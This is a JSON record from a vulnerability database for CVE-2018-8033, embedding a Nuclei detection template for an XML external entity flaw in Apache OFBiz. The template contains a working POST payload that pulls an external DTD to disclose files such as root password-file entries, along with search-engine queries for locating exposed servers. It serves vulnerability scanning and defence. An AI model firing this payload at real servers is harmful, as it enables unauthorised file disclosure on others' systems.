{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2018-8033/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2018-8033/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2018-8033/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2018-8033/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2018-8033/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2018-8033"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2018-8033"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2018/CVE-2018-8033.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2018-8033\n\ninfo:\n  name: Apache OFBiz - XML External Entity Injection\n  author: daffainfo\n  severity: high\n  description: |\n    In Apache OFBiz 16.11.01 to 16.11.04, the OFBiz HTTP engine (org.apache.ofbiz.service.engine.HttpEngine.java) handles requests for HTTP services via the /webtools/control/httpService endpoint. Both POST and GET requests to the httpService endpoint may contain three parameters: serviceName, serviceMode, and serviceContext. The exploitation occurs by having DOCTYPEs pointing to external references that trigger a payload that returns secret information from the host.\n  impact: |\n    Attackers can read sensitive files or cause denial of service by exploiting XXE vulnerability.\n  remediation: |\n    Update to the latest version of Apache OFBiz that addresses the XXE vulnerability or apply security patches.\n  reference:\n    - https://lists.apache.org/thread/9bym7qk6ccwwr6d3mg26thp9zyv1l06y\n    - https://nvd.nist.gov/vuln/detail/CVE-2018-8033\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2018-8033\n    cwe-id: CWE-200\n    epss-score: 0.25743\n    epss-percentile: 0.97975\n    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: apache\n    product: ofbiz\n    shodan-query:\n      - http.html:\"ofbiz\"\n      - ofbiz.visitor=\n    fofa-query:\n      - body=\"ofbiz\"\n      - app=\"apache_ofbiz\"\n  tags: cve,cve2018,apache,ofbiz,xxe,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /webtools/control/httpService HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        serviceName=createPartyGroup&serviceMode=sync&serviceContext=<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY %25 request SYSTEM 'https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/xxe-poc.dtd'>%25request;%25secondstage;]><r>%26disclose;</r>\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"FileNotFoundException:\"\n          - \"nonexistent\\\\/root:.*:0:0:\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502200383494bb9b0d295d38150fb8dbca4d83e470c390cd1af69e3e372ed72b1b9ac022100811be17f15d83c19ed61bb8f27590b7841ea55f36c9275c7632bdc2ad2830e9c:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2018-8033"
}